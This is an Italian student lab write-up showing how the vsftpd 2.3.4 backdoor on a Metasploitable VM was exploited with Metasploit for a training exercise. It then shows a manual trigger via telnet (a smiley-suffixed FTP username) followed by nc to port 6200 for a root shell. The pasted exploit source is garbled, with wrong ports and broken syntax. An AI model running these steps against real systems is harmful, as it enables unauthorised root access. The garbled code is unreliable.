

W15D4 – HACKING CON METASPLOIT

TULLI ROBERTO

ROMA 18/10/2025

Traccia:

Partendo da quanto già visto su Metasploit, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**».

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (`/`). Chiamate la cartella `"test_metasploit"`.

Svolgimento:

Come primo passaggio avvio Metasploit con il comando : msfconsole

```
$ msfconsole
```

Metasploit tip: Enable HTTP request and response logging with set HttpTrace true

```
+-----+  
| METASPLOIT by Rapid7 |  
+-----+  
  
=c(_____(o(_____(_))  
      |||||  
      RECON  
  
EXPLOIT  
[msf >]  
\\(a)(a)(a)(a)(a)(a)(a)/  
*****  
  
o o o          o o  
              o  
~~~~~  
PAYLOAD    ""\_____  
            )  
|(a)(a)" " *"| (a)(a)*| (a)  
=====
```

```
[ metasploit v6.4.84-dev ]  
-- -- [ 2,547 exploits - 1,309 auxiliary - 1,680 payloads ]  
-- -- [ 431 post - 49 encoders - 13 nops - 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

The Metasploit Framework is a Rapid7 Open Source Project

```
msf >
```

Successivamente con il comando search andiamo a cercare quali sono i vari exploit collegati alla consegna dell'esercizio (vsftpd):

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > █
```

Dalla ricerca fatta, ne possiamo vedere due (un ausiliario e un exploit).

Quello che serve a noi per la consegna è il numero 1 (exploit) perche abbiamo bisogno di una backdoor. Lanciamo quindi il comando : use 1

```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Ecco quindi il modulo che abbiamo lanciato.

Ora procediamo a vedere le varie informazioni del modulo lanciato, tramite il comando info.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > info
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
  hdm <x@hdm.io>
  MC <mc@metasploit.com>

Module side effects:
  unknown-side-effects

Module stability:
  unknown-stability

Module reliability:
  unknown-reliability

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
  No

Basic options:


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

References:
  OSVDB (73573)
  http://pastebin.com/AetT9sS5
  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
```

Dalle info possiamo vedere che bisogna configurare RHOSTS e RPORT. RHOSTS indica il target → andiamo quindi ad inserire il nostro target della metasploitable (192.168.50.101)
RPORT indica la porta (già configurato)
Successivamente con Options andiamo a vedere se le nostre indicazioni sono andate a buon fine.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.50.101
rhosts => 192.168.50.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.50.101  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info or info -d command.
```

Successivamente andiamo a vedere il payloads da utilizzare con il comando show payloads

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact	.	normal	No	Unix Command, Interact with Established Connection

Andiamo quindi ad inserire il payloads da lui suggerito.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payloads /cmd/unix/interact
[!] Unknown datastore option: payloads. Did you mean PAYLOAD?
payloads => /cmd/unix/interact
```

Per

lanciare il payload utilizziamo il comando run.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

L'exploit è stato completato. Per farlo eseguire correttamente dobbiamo però lanciarlo una seconda volta. Con ls facciamo la lista delle cartelle all'interno della Metasploitable per vedere effettivamente che il payloads sia stato eseguito.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
ls
[*] Command shell session 1 opened (192.168.50.100:40435 → 192.168.50.101:6200) at 2025-10-18 04:20:46 -0400
```

```
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Ora che siamo dentro, per svolgere la richiesta dell'esercizio creiamo la cartella test_metasploit con il comando mkdir.

```
pwd
/
mkdir test_metasploit
```

Per vedere che quest'ultima sia stata creata correttamente rilanciamo di nuovo un ls.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

TRACCIA ESERCIZIO FACOLTATIVO:

Facoltativo:

Analizzate il codice dell'exploit con il comando `edit` (all'interno del modulo caricato).

Riprodurre l'exploit senza l'aiuto di metasploit ma utilizzando:

- telnet
- nc

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > edit
```

```

      "Privileged" => true,
      "Platform" => [ 'unix' ],
      "Arch" => ARCH_CMD,
      "Payload" => {
        "Space" => 2000,
        "BadChars" => '',
        "DisableNops" => true,
        "CpuArch" => {
          "PayloadType" => 'cmd_interact',
          "ConnectionType" => 'find'
        }
      },
      "Targets" => {
        [ 'Automatic', {} ],
        "DisclosureData" => '%S%-%Y-%d%',
        "DefaultTarget" => 0)
    register_options([ Opt::RPORT(80) ])
end

def exploit
  nsock = self.connect('localhost', ('RPORT' => 8080)) rescue nil
  if nsock
    print_status("The port used by the backdoor bind listener is already open")
    handle_backdoor(nsock)
    return
  end

  # Connect to the FTP service port first
  connect

  banner = sock.get_once(1, 30).to_s
  print_status("#{banner} #{banner.strip}")

  sock.put("\x00" * rand_text_alphanumeric(rand(10))) "\r\n")
  resp = sock.get_once(1, 30).to_s
  print_status("#{resp} #{resp.strip}")

  if resp =~ /^200 /
    print_error("This server is configured for anonymous only and the backdoor cannot be reached")
    disconnect
    return
  end
end

```

SVOLGIMENTO:

Dopo aver analizzato il codice dell'exploit col comando `edit`, chiudiamo la sessione e aprendo un nuovo terminale provo a riprodurre l'exploit utilizzando `telnet` e `nc`.

Dopo aver lanciato telnet ci chiede di inserire user e pass, vedendo sull'edit dell'expolit ci dice di inserire un user tra 1 e 6 caratteri che si chiuda con la sintassi :).

quindi lancio telnet e inserisco user e pass come da procedura, successivamente lanciando nc sull'ip della metasploit sulla porta 6200 (indicata sempre nell'edit dell'exploit) riusciamo a prendere la shell del target.

```
(kali㉿kali)-[~]  
$ telnet 192.168.50.101 21  
Trying 192.168.50.101...  
Connected to 192.168.50.101.  
Escape character is '^'.  
220 (vsFTPd 2.3.4)  
USER 1234:)  
331 Please specify the password.  
PASS 1234  
421 Timeout.  
Connection closed by foreign host.
```

```
(kali㉿kali)-[~]
$ nc 192.168.50.101 6200
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```